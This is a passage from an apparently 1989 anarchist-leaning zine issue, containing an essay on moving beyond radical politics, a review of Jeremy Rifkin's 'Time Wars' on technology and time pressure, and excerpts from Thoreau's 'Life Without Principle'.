Harrison, Box 547014, Orlando FL 32854 USA. Copyright + 1989 Tangerine Network. Commercial use of this material is forbidden. + + Editor's note: The electronic version of _The_Alembic_ continues to be + released right on schedule, appearing at its distribution points shortly + after the equinoxes and solstices. Printing and mailing the paper + version on time has turned out to be impossible (not to mention more + time-consuming, more troublesome, and more expensive). Last year I got + a mass mailing from an anarchist microfiche publisher in Australia + commenting on how thoughtless alternative press readers are in + their demand for paper versions of small publications. At the time I + thought he was nuts but I realize now he's right! In addition to killing + trees and exposing print-shop workers to chemical and physical hazards, + the use of the paper-and-ink medium extracts an inordinate amount of + time and money from the editors and publishers of obscure journals. + Ultimately, of course, it would be nice to replace all ``media'' with + real communication, i.e. face-to-face interaction in real communities. + + + + ________________________________________________________________________ + + + + + Beyond Radicalism + + by Lawrence E. Christopher + copyright 1989 by Lawrence E. Christopher. + Reprinted from _Light_&_Liberty_, P. O. Box 33, Woodstock NY 12498. + + Imagine that the world is enclosed in a web made of an imperceptibly + fine fabric. Your slightest motion is subtly guided by the pattern of + the web, which is so thin and delicate that it could be destroyed with + one stroke of a pocket knife. However, most of its captives are not + even aware of its existence, so they continue to be confined by it. + Others see the web, but believe it to be indestructible. They, too, are + never able to break free of it. This is essentially the way in which the + mass media and political system control the thought processes of people + living in modern industrial society. + + Consider the worldview implied in any newspaper article or tele- + vision news broadcast. I am not speaking of lies and biases here. I am + speaking, rather, of the _context_ into which _all_ sides of every + public issue are placed. The moment you read or hear terms like "the + economy," "the nation," or "society," the essence of the indoctrination + has been effected. What is subsequently said _about_ these entities is + secondary. If you accept these entities as objectively existing aspects + of ultimate reality rather than as purely subjective (though widely + accepted) ideas which _you_ are free to accept or reject, then you've + been taken in already, regardless of what opinions you form regarding + the issue at hand. + + My objective in this essay is to suggest a method of breaking this + web, which is in fact made of nothing but thought. I am going to focus + largely on the issue of why most radical strategies fail in this regard. + As has been suggested, there are two ways in which the aforementioned + web can ensnare one. The first, which is what keeps the majority of + people captive, is simply to not recognize its existence. This lack of + awareness on the part of the masses has been pointed out innumerable + times by intellectuals throughout the ages. That is why I want to focus + on the second, more subtle way this web has of captivating one. This + entails the victim recognizing the existence of the web, and becoming so + frightened or angry about it that he attributes far too much power to + it. This is the trap radicals frequently fall into. They fail to see + what a simple matter it is to eradicate this web. + + Almost as soon as I began thinking about societal issues, I defined + myself as a radical. My opinions on various issues changed as my + ideological position on the political spectrum shifted, but what + remained was the conviction that society was controlled by a power elite + who ruled over a sheeplike population with force, fraud and indoctrina- + tion. This basic belief remained the focal point of my thinking as I + went through the stages of defining myself as a populist, a libertarian + and an anarchist. + + I have not rejected the premises upon which my radicalism was + grounded. More than ever, it seems apparent that we live in a world + which is dominated by forces that are antithetical to any meaningful + concepts of peace, liberty, or justice. Yet, I have concluded that + traditional radical strategies are ultimately a futile pursuit. + + I will begin with the assertion that the motivating force underlying + all radical thought and action is the desire to exercise _free_will_. + Human consciousness innately yearns to realize its full potential; to + inhabit a reality of its own creation rather than one externally imposed + upon it. Political institutions are often obstructions in our quest for + this freedom. To the extent that we are free of conditioning, we resent + these institutions imposing their structures upon our consciousness. + There is disagreement among radicals as to the best means of achieving + freedom; for example, whether by utilizing the political system in order + to gain control over it (as in forming an alternative party), by + peaceful protest, or by violent revolution. Radicals also disagree over + what _constitutes_ liberty and justice; i.e. what kind of social system + should replace the present one. Yet, all radicals agree that society in + its present form stifles liberty and should be either fundamentally + changed or abolished altogether. + + Paradoxically, in their very attempt to assert free will, radicals + implicitly hold an assumption which is antithetical to the very concept. + The essence of the problem lies in the fact that true power and energy + lie in _consciousness_. This includes the power of leaders and social + institutions. The power which they wield is almost entirely in the + realm of thought. It only extends into physical reality to the extent + that people believe that it does. When, as radicals, we _believe_ that + political institutions prevent us from being free, we are contributing + to their power just as surely as are the obedient citizens who support + the status quo. THe only difference is that the latter are contributing + to what they perceive as a benign entity, while the former are contrib- + uting to one they believe is malevolent. + + Action is taken with the assumption that in order to bring about a + desired consequence 'y', action 'x' must be carried out. If, as + radicals, our 'y' is freedom and our 'x' is, say, revolution, then we + are granting that 'y' is _contingent_. We cannot be free until the + revolution takes place. We are placing a limitation upon our free will, + assuming that, for us to exercise it, external conditions must first be + changed. Consider how much power we are thereby granting our enemies! + We are conceding that they have the capacity to prevent us from existing + as free individuals. Despite the fact that all radical theories place an + emphasis on freedom and empowerment, there is always the built-in + limitation that our liberation is dependent upon the transformation of + an entire society. + + It can be argued that it is objectively the case that our government + can take away our freedom. It can impose laws on us, imprison us, kill + us if it chooses. Here it must be stated that this essay is presupposing + a certain view of human nature. I am assuming that the exercising of + free will is an essential condition for a meaningful life; that fully + realizing our freedom is ultimately more important than any physical + circumstances we may be in. I should also mention that it is my belief + that we are ultimately responsible for every circumstance in which we + find ourselves. Although this is not a necessary presupposition for the + rest of my argument, if you fundamentally disagree with this meta- + physical position, it would be difficult to completely agree with my + conclusions. + + True freedom entails realizing what freedom is. Without this, no + external conditions can enable one to attain freedom. One can have more + true freedom in a prison cell than in a luxury penthouse apartment + (although, all else being equal, the latter is still preferable to the + former). Governments, of course, do not realize this. Leaders believe + that they can take away your freedom. They believe that if they + accumulate enough wealth and annex enough territory they can thereby + control the lives and destinies of other people. "Leaders" are entirely + ignorant regarding the nature of freedom and power. They desperately + want to feel powerful and they attempt to achieve this by manipulating + external conditions. They do not realize that the only authentic power + lies within. + + Two people can exist in virtually identical physical circumstances + and yet perceive and interpret these circumstances in completely + different ways. Evidence of this is widespread in any large city that + contains a variety of ethnic and economic subcultures. For example, the + government of the United States labels all people living within a + certain geographical territory "Americans," and most people accept this + definition. Yet, in truth, white collar middle class people living in + "America" have more in common in regard to lifestyle, values and + overall perception of reality with white collar middle class people + living in, say, England or France, than any such middle class people + have in common with, say, drug dealers in New York City (who in turn + have more in common with South AMerican and Asian drug dealers than + with most of their "fellow citizens.") There are many ways of categoriz- + ing people; they are grand conceptual schemes which structure reality in + a particular way. There are others -- races, religions, economic classes + and ideologies being the most commonly used. + + Once it is established that no particular method of categorizing or + structuring human beings has any objective validity, it is easier to + see a way to free oneself from any such category. There is a basic + reason why political movements and revolutions so seldom result in + fundamental long term change. Radical ideologies teach us to define + ourselves and our reality in a way diametrically opposed to that of our + opponents. This, however, prevents us from ever becoming truly free from + those we least esteem. To define oneself against some principle 'x' + forever enslaves one to 'x'. For example, a Satanist is inextricably + bound to the concept of the Christian god. Likewise, communists define + their reality based on their opposition to capitalism, and anarchists + must always have the belief system of government to oppose. In this way, + the political system and its transgressions against liberty are more a + part of the radical's reality than they are of the ordinary citizen's. + Of course, the mindset of the ordinary citizen, who simply defines + reality in _accordance_ with the reigning political structure, is hardly + conducive to freedom. There is, fortunately, an alternative to both: a + belief system which is entirely independent and self generated. This is + a point which requires elaboration. + + Believing that I live in a reality constructed by my own conscious- + ness does not imply a schizophrenic state that ignores the existence of + others and their beliefs. It does not entail feeling bound to perceiving + reality the same way that others do. It is possible to recognize the + beliefs of others and the ways in which those beliefs influence you, + while at the same time maintaining your own independence from those + beliefs. + + The only way we can live by values that differ from those which the + political system and media represent is for us to live and work from a + standpoint completely independent of these institutions. If politics is + a destructive force, then we will never improve things by working within + a political framework. An entirely different paradigm is called for, one + which does not depend on the "establishment" paradigm at all. + + Living in the realm of a particular paradigm, or set of values, does + not imply that there is no contact with other paradigms. Hence, living + in an apolitical paradigm might at times involve confrontations with + the mainstream paradigm. For example, consider war resistance. If we + vote for political candidates who promise to end the war, we are working + within the political, mainstream framework. If we overthrow the + government and put a new, "peaceful" one in its place, we are still + working from the framework of our opponents; we would be seizing _their_ + institution, the one that caused the war in the first place, with the + intention of using it for our own ends. + + There are ways of resisting political oppression which do not + themselves assume a political framework. Avoiding income taxes, refusing + to be drafted, boycotting corporations which produce weapons for the + military: all of these actions are independent of the political + paradigm. That is, they recognize the existence of the political + paradigm and they are not inhabiting it. On the contrary: they + constitute a refusal to participate in it. + + The essence of this strategy is for each individual to remain at all + times aware of his basic sovereignty regardless of societal conditions. + As much as possible, people should create and live in the society they + want, rather than passively accepting the one imposed on them by the + mainstream media and political system. Whenever one is threatened by + another's belief system in a way that cannot be avoided, then action + is required; this action should not, however, entail accepting to any + degree the conceptual framework of the offender. + + This can perhaps be seen more readily if we consider the mindset of + a street gang. A gang has "turf" which is won and defended by violent + means. Willingness to commit violent and aggressive acts is the way + status is attained within the gang. If such a gang existed in the + neighborhood in which you lived, preventing you from safely walking the + streets, you would have a variety of possible responses to choose from. + One response would be to submit to the gang's rule. Perhaps if you paid + them a certain amount of "protection" money, they would allow you to + walk the streets unharmed. This would be conforming to the gang's view + of reality. It would be conceding that the gang indeed controls the + neighborhood and that you are compelled to conform to its demands + (although, in reality, one could conceivably pay the protection money + without psychologically accepting the gang's view of reality, just as + one may pay taxes without accepting the government's claim to legit- + imacy; for the sake of simplicity I am assuming in this example that + one's actions are completely in accord with one's belief system). + + Another response might be to form a gang of your own; your gang + could then atempt to take over the "turf" for yourselves. This would + also be completely accepting the (original) gang's worldview. You would + be, like the gang, defining the neighborhood as turf to be won and + defended with violence. Calling upon law enforcement authorities for + help would be another variation of this "rival gang" alternative, for + here, too, we have a group with coercive rules, demands for payment, and + violent retribution against those who do not conform. + + A third possibility would be to not accept the gang's view of + reality at all. For example, you could organize, rather than a rival + gang, a group of fellow neighborhood residents who may carry weapons, + but who would only use violence in self defense. In this case, you + would not be trying to win turf; you would be attempting to live in a + reality in which streets city streets are not considered "turf" at all. + This would be the only alternative which fully rejects the offender's + view of reality. + + {Editor's note: the author has failed to mention the possibility + of moving to a better neighborhood where people behave differently.} + + The above analysis can be applied to more organized forms of + coercion, such as nation states. If we regard governments as + destructive, we should not in any manner accept the government's + worldview. We should not try to take over the government, or form + a government of our own. We should not even let ourselves become + preoccupied with the idea of eliminating governments from the planet. + We would do far better if we simply made the decision to live in a + government-less reality, albeit one which may at times have to interact + with others to whom the government's definition of reality is relevant. + Such interaction, however, can be kept to a minimum. For example, in + the above example, the neighborhood patrol would not _seek_ confronta- + tions with the gang. More importantly, it would essentially disband + once the threat had passed. If America had remained true to the military + strategy it adhered to during the revolution, the military as we know it + today would not exist. There would only be a _potential_ citizens' army, + ready to fight when necessary, but not forming an entrenched institution + seeking world domination. + + Freedom from those with intentions we do not share entails escaping + not only their overt rules but also from the entire conceptual frame- + work in which they reside. Although I entitled this essay "Beyond + Radicalism," what I am really advocating is a truer, more radical + radicalism. A radicalism that has outgrown the desire to rebel for + rebellion's sake; one which recognizes that human nature has the + potential for grander things than brooding over and complaining about + the behavior of the least enlightened members of our species. + + + ________________________________________________________________________ + + + + + Time Wars + + book review by Rick Harrison + + _Time_Wars_ + copyright 1987 by Jeremy Rifkin + Touchstone/Simon & Schuster + isbn 0-671-67158-8 + + + ``Don't be too proud of this technological terror you've constructed.'' + -Darth Vader in _Star_Wars_ + + ``Clocks for some reason or other always seem to be marching, and, as + with armies, marching is never to anything but doom.'' + -Alan Watts + + In his book _Time_Wars_, contemporary philosopher Jeremy Rifkin + asserts that the battle for control over the expenditure and perception + of time is ``the primary conflict in human history.'' The calendar, the + clock, the schedule and finally the computer have given those in power + tighter and tighter control over how the average person uses his time. + + ``We're a nation obsessed with efficiency,'' Rifkin said in a + mid-1989 appearance on Larry King's radio show. ``In fact, I think if + you look at it anthropologically, this culture is more obsessed with + labor-saving, time-saving technology than any other culture in history. + And ironically, we feel we have less free time than any culture in + history. And in real terms that's true because, with all of our labor- + saving, time-saving technologies -- the cellular phone, the fax machine + -- the amount of activity continues to increase as a result of these + new tools and so we can never catch up. + + ``The fax machine just gives you more material that has to be faxed, + and then you have to pay more attention to it. If you have a message + machine, you have to listen to all those messages every night when you + come home. The fact is, most people feel that their lives are increas- + ingly frantic, frenetic, that they're losing a sense of relationship, + of a sense of bonding and community, and people feel stretched to the + limit. Most people I know are experiencing information overload, they're + experiencing burn-out in their day to day lives, and they're about ready + to look for new alternatives.'' + + Rifkin's assertion that technological devices which are supposed to + save labor actually lead to increasing enslavement corresponds to + comments made in Bob Black's essay ``The Abolition of Work.'' Black + observed, ``I don't want robot slaves to do everything; I want to do + things myself. There is, I think, a place for labor-saving technology, + but a modest place. The historical and pre-historical record is not + encouraging. When productive technology went from hunting-gathering to + agriculture and on to industry, work increased while skills and self- + determination diminished. The further evolution of industrialism has + accentuated what Harry Braverman called the degradation of work. + Intelligent observers have always been aware of this. John Stuart Mill + wrote that all the labor-saving inventions ever devised haven't saved a + moment's labor. The enthusiastic technophiles -- Saint-Simon, Comte, + Lenin, B.F. Skinner -- have always been unabashed authoritarians also; + which is to say, technocrats. We should be more than sceptical about + the promises of the computer mystics. _They_ work like dogs; chances + are, if they have their way, so will the rest of us.'' + + ``The average medieval serf,'' Rifkin says, ``had 185 days off per + year on the Christian calendar. That's 185 days with no work -- feast + days, holy days. The average American has 19 hours less leisure time + per month than we had ten years ago. So I'm not sure that we're really + progressing when it comes to enjoyment of life.'' Consider that twenty + years ago it was possible for a husband to buy a house on his wages + alone, and now in most households both husband and wife are working. + The amount of time which the average individual has free to use as he + pleases is definitely decreasing. + + We are reminded of a passage from Benjamin Hoff's classic of + Taoist propaganda, _The_Tao_of_Pooh_: + In China, there is the Teahouse. In France, there is the Sidewalk + Cafe. Practically every civilized country in the world has some + sort of equivalent -- a place where people can go to eat, relax, + and talk things over without worrying about what time it is, and + without having to leave as soon as the food is eaten... What's the + message of the Hamburger Stand? Quite obviously, it's: ``You don't + count; hurry up.'' + + Not only that, but as everyone knows by now, the horrible + Hamburger Stand is an insult to the customer's health as well. + Unfortunately, this is not the only example supported by the + Saving Time mentality. We could also list the Supermarket, the + Microwave Oven, the Nuclear Power Plant, the Poisonous Chemicals... + + Practically speaking, if timesaving devices really saved time, + there would be more time available to us now than ever before in + history. But, strangely enough, we seem to have less time than + even a few years ago. It's really great fun to go someplace where + there are no timesaving devices because, when you do, you find + that you have _lots_of_time_. Elsewhere, you're too busy working + to pay for machines to save you time so you won't have to work + so hard. + + ``As we increase the pace, we're increasing the impatience in our + culture,'' Rifkin said in his radio interview. ``Many people have a hard + time with simple things like social discourse now, because they're used + to the nanosecond culture. What happens when a society starts organizing + time below the realm of experience? You can't experience a nanosecond, + yet computer time is based on a billionth of a second. When we get to + that point, we have to re-assess exactly where we're going.'' + + In his book, Rifkin elaborates on this by describing ways in which + people who spend an unhealthy amount of time with computers react to + their fellow humans: + In clinical case studies, psychologists have observed that + computer compulsives are much more intolerant of behavior + that is at all ambiguous, digressive, or tangential. In their + interaction with spouses, family, and acquaintances, they are + often terse, preferring simple yes-no responses. They are + impatient with open-ended conversations and are uncomfortable + with individuals who are reflective or meditative. Computer + compulsives demand brevity and view social discourse in + instrumental terms, interacting with others only as a means + of collecting and exchanging useful information. + + Perhaps you can think of some illustration of this from your own + life. I am reminded of an exchange of messages I had on a computer + network with a would-be defender of the Libertarian Party. My messages + were usually well thought out, often enhanced by quotations from + Thoreau, Black and other philosophers, and were usually longer than the + average messages in the networks. The Libertarian's replies were brief, + were seldom backed up by references to other thinkers, and he objected + when I used metaphors, complaining that they were `reification.' + Eventually the chain of messages ended abruptly when he vituperated + something like, ``I believe in the right of private property. You don't. + I'm not going to waste my time talking to you any more.'' Shortly after + that, the same Libertarian received a similar message from another + computer user, who summarily dismissed the Libertarian's ideas as + ``a bunch of crap.'' + + Both of these characters appeared to be operating in a vacuum, + rigidly clinging to opinions that were neither supported by research nor + by personal experience, making bold, blanket pronouncements about + serious social issues seemed absurdly unconnected to reality, and + perhaps this is not surprising since they spend so much time in the + simulated universe presented on the computer screen. The Libertarian + works as a computer programmer, and I suppose his objection to the use + of analogy and metaphor was based on the inability of computers and + their disciples to understand anything that can't be directly digitized. + Another participant in the electronic conference blasted writers who + use poetic devices and extensive vocabularies, claiming that eloquence + is a form of obfuscation or obscurantism! Rifkin is right: technophiles + like their communication to be terse, lifeless and utilitarian. + + In the computer message-exchange networks, if an idea cannot be + expressed in 200 words or less, it will probably be skipped over by the + majority of readers. A week or a month after a message is posted, it is + automatically erased, and even if the ``thread'' of discussion con- + tinues, it becomes impossible for the participants (or newcomers) to + refer back to what has been said previously. If a participant's computer + breaks down or he becomes ill, the thread will probably be completely + gone by the time he returns. Responding to a message that is more than a + week old has brought ridicule to some users: ``Where have you been, in + a time warp or something? I posted that message weeks ago.'' This is the + culture, or rather non-culture, which is developing among most avid + computer users: messages must be replied to immediately, even complex + ideas must be boiled down to a few words, and after the discussion is + over, it evaporates into oblivion, leaving the participants and humanity + at large with nothing to show for it. + + Another example cited in _Time_Wars_: + Harriet Cuffaro offers another illustration of the different + sense of temporal entrainment that ensues in computer + learning, as opposed to experiential learning in a + non-simulated environment. She uses the example of parking + a car. If a child uses blocks as play pieces to park a car, + his or her temporal skills will develop quite differently + than if the child uses computer symbols. With the blocks, + ``the child's eye-hand coordination must also contend with + the qualitative, with the texture of the surface on which + the car is moved, and with the fit between garage opening + and car width.'' Cuffaro points out that ``such complexities + do not exist on two-dimensional screens.'' Parking a car on + the computer screen is pure action in a vacuum, ``motion + without context.'' + + This motion without context is accompanied by emotion without + context. One box of illusions, the computer, works hand in hand with its + counterpart, the television, to plunge a person into a simulated life. + Protected from true adventure, the future worker can only watch + adventure shows on TV or play adventure games on the computer. Rigidly- + held, vehemently-expressed opinions are formed on the basis of + `information' obtained from the old idiot box and the new. I am reminded + of the anarchist slogan, `the society which makes true adventure + impossible makes its own destruction the only possible adventure.'' + + The artificial time perspective promulgated by digital watches and + omnipresent computers is, as demonstrated above, having an impact on + the way people behave. The question to consider, then, is `who benefits + from this separation of humans from organic rhythms and natural temporal + cycles?' The answer appears to be, the ruling class: those who control + the productive activity of the world economy. + + To be a night watchman, an assembly line worker, or a dishwasher, + an employee has to be able to tolerate vast stretches of boredom. The + jobs of the future, however, are going to require a faster pace, and + tomorrow's workers will find their every action closely monitored by + computer. This is extremely stressful and offensive to most adults, but + perhaps today's computer-indoctrinated children and adolescents are + being molded into the ideal employees of tomorrow. The transition from + organic agricultural time to tightly-controlled industrial scheduling + was also accomplished through indoctrination of the young, as Rifkin + observes: + + For the most part, the new class of owners was unsuccessful + in converting farmers and tradesmen into disciplined factory + workers. They were too settled into the temporal orthodoxy + of an earlier epoch. But it soon became apparent that their + children, still temporally unformed, provided a much more + convenient labor pool for the new industrial technology. + Child labor was cheap and could be easily molded to the + tempral demands of the clock and the work schedule. By + spiriting children away at the tender age of five to seven + to work up to sixteen hours a day inside dimly lit and + poorly ventilated factories, the owners insured themselves + a captive and manipulable work force that could be thoroughly + indoctrinated into the new time frame. + + That's what life was like in the days of laissez-faire capitalism. + The computer-accelerated, impatient children of today may have a similar + fate in store for them. Already we are getting glimpses of what the + future workplace, designed by technocrats, will be like: + + In Kansas a repair service company keeps a complete computer + tally of the number of phone calls its workers handle and + the amount of information collected with each call. Says + one disgruntled employee, ``If you get a call from a friendly + person who wants to chat, you have to hurry the caller off + because it would count against you. It makes my job very + unpleasant.'' + + According to Dr. Alan Westin, author of a 1987 report + published by the Office of Technology Assessment (OTA) + entitled _The_Electronic_Supervisor_, between 20 and 35 + percent of all clerical workers in the United States are + now being monitored by sophisticated computer systems. + The OTA report warns of an Orwellian future of ``electronic + sweatshops'' with workers doing ``boring, repetitious, + fast-paced work that requires constant alertness and + attention to detail''; where ``the supervisor isn't even + human'' but an ``unwinking computer taskmaster.'' + + In an effort to speed up the processing of information, + some visual display units are now being programmed so that + if the operator does not respond to the data on the screen + within seventeen seconds, it disappears. Medical researchers + report that operators exhibit increasing stress as the time + approaches for the image to disappear on the screen: ``From + the eleventh second they begin to perspire, then the heart + rate goes up. Consequently they experience enormous fatigue.'' + + Perhaps the well-indoctrinated worker of the future, after spending + his entire childhood playing video games and otherwise responding to + the super-normal pace of computers, will not react so poorly to such a + work environment. Perhaps the ruling class will once again succeed in + creating a proletariat that is largely integrated into the productive + technology that enriches the few. + + In opposition to this anti-human quickening of the workplace and + the replacement of real activity with simulated experiences, Rifkin + believes a widespread social movement will arise to challenge the + onslaught of artificial time. Just as the notion of ``bigger is + better,'' advocated by supporters of centralization and mass production, + was debunked by the idea of ``small is beautiful,'' advocated by those + who appreciate diversity and craftsmanship, so too will there be a + ``slow is beautiful'' movement, according to Rifkin. He describes this + forthcoming clash of ideologies this way: + + The ecological temporal orientation gives rise to a + stewardship vision of the future. Its advocates would like + to establish a new partnership with the rest of the living + kingdom. At the heart of this new covenant vision is a + commitment to develop an economic and technological + infrastructure that is compatible with the sequences, + durations, rhythms, and synergistic relationships that + punctuate the natural production and recycling activities + of the earth's ecosystems. Proponents believe that social + and economic tempos must be reintegrated with the natural + tempos of the environment if the ecosystem is to heal + itself and become a vibrant, living organism once again. + + The artificial temporal orientation gives rise to a high- + technology simulated vision of the future. In this time + world, an ever more complex and sophisticated labyrinth + of fabricated rhythms will increasingly replace our long- + standing reliance and dependency on the slower rhythms + of the natural environment. Advocates of the artificial + temporal orientation envision an environment regulated by + the sequences, durations, rhythms, and synergistic + interactions of computers, robotics, genetic engineering, + and space technologies... + + Consider the much-misused word `freedom.' What does it really mean, + if not the ability of the individual to control what she does with the + irreplaceable hours, minutes and seconds of her own life? This is the + object of the real struggle for real freedom, and Rifkin's _Time_Wars_ + is an important document of the emerging consciousness of this new + movement. + + + ________________________________________________________________________ + + + + + excerpts from "Life Without Principle" + by Henry David Thoreau (1817-1862) + + {Editor's note: Thoreau's "Walden" and "Civil Disobedience" have been + widely published and studied, but this essay is not so well known. It + has been carefully swept under the rug by those who edit the classics.} + + ...Since _you_ are my readers, and I have not been much of a + traveller, I will not talk about people a thousand miles off, but come + as near home as I can. As the time is short, I will leave out all the + flattery, and retain all the criticism. + + Let us consider the way in which we spend our lives. + + This world is a place of business. What an infinite bustle! I am + awaked almost every night by the panting of the locomotive. It inter- + rupts my dreams. There is no sabbath. It would be glorious to see + mankind at leisure for once. It is nothing but work, work, work. I + cannot easily buy a blank-book to write thoughts in; they are commonly + ruled for dollars and cents. An Irishman, seeing me making a minute in + the fields, took it for granted that I was calculating my wages. If a + man was tossed out of a window when an infant, and so made a cripple for + life, or scared out of his wits by the Indians, it is regretted chiefly + because he was thus incapacitated for -- business! I think that there is + nothing, not even crime, more opposed to poetry, to philosophy, ay, to + life itself, than this incessant business. + + There is a coarse and boisterous money-making fellow in the out- + skirts of our town, who is going to build a bank-wall under the hill + along the edge of his meadow. The powers have put this into his head to + keep him out of mischief, and he wishes me to spend three weeks digging + there with him. The result will be that he will perhaps get some more + money to hoard, and leave for his heirs to spend foolishly. If I do + this, most will commend me as an industrious and hard-working man; but + if I choose to devote myself to certain labors which yield more real + profit, though but little money, they may be inclined to look on me as + an idler. Nevertheless, as I do not need the police of meaningless labor + to regulate me, and do not see anything absolutely praiseworthy in this + fellow's undertaking any more than in many an enterprise of our own or + foreign governments, however amusing it may be to him or them, I prefer + to finish my education at a different school. + + If a man walk in the woods for love of them half of each day, he is + in danger of being regarded as a loafer; but if he spends his whole day + as a speculator, shearing off those woods and making earth bald before + her time, he is esteemed an industrious and enterprising citizen. As if + a town had no interest in its forests but to cut them down! + + Most men would feel insulted if it were proposed to employ them in + throwing stones over a wall, and then in throwing them back, merely + that they might earn their wages. But many are no more worthily employed + now. + + ...The ways by which you may get money almost without exception lead + downward. To have done anything by which you earned money _merely_ is + to have been truly idle or worse. If the laborer gets no more than the + wages which his employer pays him, he is cheated, he cheats himself. If + you would get money as a writer or lecturer, you must be popular, which + is to go down perpendicularly. Those services which the community will + most readily pay for, it is most disagreeable to render. You are paid + for being something less than a man. The state does not commonly reward + a genius any more wisely. Even the poet laureate would rather not have + to celibrate the accidents of royalty. He must be bribed with a pipe of + wine; and perhaps another poet is called away from his muse to gauge + that very pipe. As for my own business, even that kind of surveying + which I could do with most satisfaction my employers do not want. They + would prefer that I should do my work coarsely and not too well, ay, + not well enough. When I observe that there are different ways of + surveying, my employer commonly asks which will give him the most land, + not which is most correct. I once invented a rule for measuring cord- + wood, and tried to introduce it in Boston; but the measurer there told + me that the sellers did not wish to have their wood measured correctly, + -- that he was already too accurate for them, and therefore they + commonly got their wood measured in Charlestown before crossing the + bridge. + + The aim of the laborer should be, not to get his living, to get a + "good job," but to perform well a certain work; and, even in a pecuniary + sense, it would be economy for a town to pay its laborers so well that + they would not feel that they were working for low ends, as for a + livelihood merely, but for scientific or even moral ends. Do not hire + a man who does your work for money, but him who does it for the love + of it. + + The community has no bribe that will tempt a wise man. You may raise + money enough to tunnel a mountain, but you cannot raise money enough to + hire a man who is minding _his_own_ business. An efficient and valuable + man does what he can, whether the community pay him for it or not. The + inefficient offer their inefficiency to the highest bidder, and are + forever expecting to be put into office. One would suppose that they + were rarely disappointed. + + Perhaps I am more than usually jealous with respect to my freedom. + I feel that my connection with and obligation to society are still very + slight and transient. Those slight labors which afford me a livelihood, + and by which it is allowed that I am to some extent serviceable to my + contemporaries, are as yet commonly a pleasure to me, and I am not + often reminded that they are a necessity. So far I am successful. But + I foresee that if my wants hsould be much increased, the labor required + to supply them would become a drudgery. If I should sell both my + forenoons and afternoons to society, as most appear to do, I am sure + that for me there would be nothing left worth living for. I trust that + I shall never thus sell my birthright for a mess of pottage. I wish to + suggest that a man may be very industrious, and yet not spend his time + well. There is no more fatal blunderer than he who consumes the + greater part of his life getting his living. All great enterprises are + self-supporting. The poet, for instance, must sustain his body by his + poetry, as a steam planing-mill feeds its boilers with the shavings it + makes. But as it is said of the merchants that ninety-seven in a + hundred fail, so the life of men generally, tried by this standard, + is a failure, and bankruptcy may be surely prophesied. + + It is remarkable that there is little or nothing to be remembered + written on the subject of getting a living; how to make getting a + living not merely honest and honorable, but altogether inviting and + glorious; for if _getting_ a living is not so, then living is not. One + would think, from looking at literature, that this question had never + disturbed a solitary individual's musings. Is it that men are too much + disgusted with their experience to speak of it? The lesson of value + which money teaches, which the Author of the Universe has taken so much + pains to teach us, we are inclined to skip altogether. As for the means + of living, it is wonderful how indifferent men of all classes are about + it, even reformers, so called, -- whether they inherit, or earn, or + steal it. I think that Society has done nothing for us in this respect, + or at least has undone what she has done. Cold and hunger seem more + friendly to my nature than those methods which men have adopted and + advise to ward them off. + + The title _wise_ is, for the most part, falsely applied. How can + one be a wise man, if he does not know any better how to live than + other men? -- if he is only more cunning and intellectually subtle? + Does Wisdom work in a tread-mill? or does she teach how to succeed + _by_her_example_? Is there any such thing as wisdom not applied + to life? Is she merely the miller who grinds the finest logic? Is it + pertinent to ask if Plato got his _living_ in a better way or more + successfully than his contemporaries, -- or did he succumb to the + difficulties of life like other men? Did he seem to prevail over some + of them merely by indifference, or by assuming grand airs? or find it + easier to live, because his aunt remembered him in her will? The ways + in which most men get their living, that is, live, are mere makeshifts, + and a shirking of the real business of life, -- chiefly because they + do not know, but partly because they do not mean, any better. + + The rush to California, for instance, and the attitude, not merely + of merchants, but of philosophers and prophets, so called, in relation + to it, reflect the greatest disgrace on mankind. That so many are ready + to live by luck, and so get the means of commanding the labor of others + less lucky, without contributing any value to society! And that is + called enterprise! I know of no more startling development of the + immorality of trade, and all the common modes of getting a living. The + philosophy and poetry and religion of such a mankind are not worth the + dust of a puffball. The hog that gets his living by rooting, by + stirring up the soil so, would be ashamed of such company. If I could + command the wealth of all the worlds by lifting my finger, I would not + pay _such_ a price for it. Even Mahomet knew that God did not make this + world in jest. It makes God to be a moneyed gentleman who scatters a + handful of pennies to see mankind scramble for them. The world's + raffle! A subsistence in the domains of Nature a thing to be raffled + for! What a comment, what a satire, on our institutions! + + ...It is remarkable that among all the preachers there are so few + moral teachers. The prophets are employed in excusing the ways of men. + The highest advice I have heard on these subjects was groveling. The + burden of it was, -- It is not worth your while to undertake to reform + the world in this particular. Do not ask how your bread is buttered; + it will make you sick, if you do, -- and the like. A man had better + starve at once than lose his innocence in the process of getting his + bread. If within the sophisticated man there is not an unsophisticated + one, then he is but one of the devil's angels. As we grow old, we live + more coarsely, we relax a little in our disciplines, and, to some + extent, cease to obey our finest instincts. But we should be fastidious + to the extreme of sanity, disregarding the gibes of those who are more + unfortunate than ourselves. + + In our science and philosophy, even, there is commonly no true and + absolute account of things. The spirit of sect and bigotry has planted + its hoof amid the stars. You have only to discuss the problem, whether + the stars are inhabited or not, in order to discover it. Why must we + daub the heavens as well as the earth? ...I hardly know an intellectual + man, even, who is so broad and liberal that you can think aloud in his + society. Most with whom you endeavor to talk soon come to a stand + against some institution in which they appear to hold stock, -- that + is, some particular, not universal, way of viewing things. They will + continually thrust their own low roof, with its narrow skylight, + between you and the sky, when it is the unobstructed heavens you would + view. Get out of the way with your cobwebs; wash your windows, I say! + + To speak impartially, the best men that I know are not serene, a + world in themselves. For the most part, they dwell in forms, and flatter + and study effect only more finely than the rest. We select granite for + the underpinning of our houses and barns; we build fences of stone; but + we do not ourselves rest on an underpinning of granitic truth, the + lowest primitive rock. Our sills are rotten. What stuff is the man made + of who is not coexistent in our thought with the purest and subtilest + truth? I often accuse my finest acquaintances of an immense frivolity; + for, while there are manners and compliments we do not meet, we do not + teach one another the lessons of honesty and sincerity that the brutes + do, or of steadiness and solidity that the rocks do. The fault is + commonly mutual, however; for we do not habitually demand any more of + each other. + + ...We rarely meet a man who can tell us any news which he has not + read in a newspaper, or been told by his neighbor; and, for the most + part, the only difference between us and our fellow is that he has + seen the newspaper, or been out to tea, and we have not. In proportion + as our inward life fails, we go more constantly and desperately to the + post-office. You may depend on it, that the poor fellow who walks away + with the greatest number of letters, proud of his extensive correspond- + ence, has not heard from himself this long while. + + I do not know but it is too much to read one newspaper a week. I + have tried it recently, and for so long it seems to me that I have not + dwelt in my native region. The sun, the clouds, the snow, the trees + say not so much to me. You cannot serve two masters. It requires more + than a day's devotion to know and to possess the wealth of a day. + + We may well be ashamed to tell what things we have read or heard in + our day. I do not know why my news should be so trivial, -- 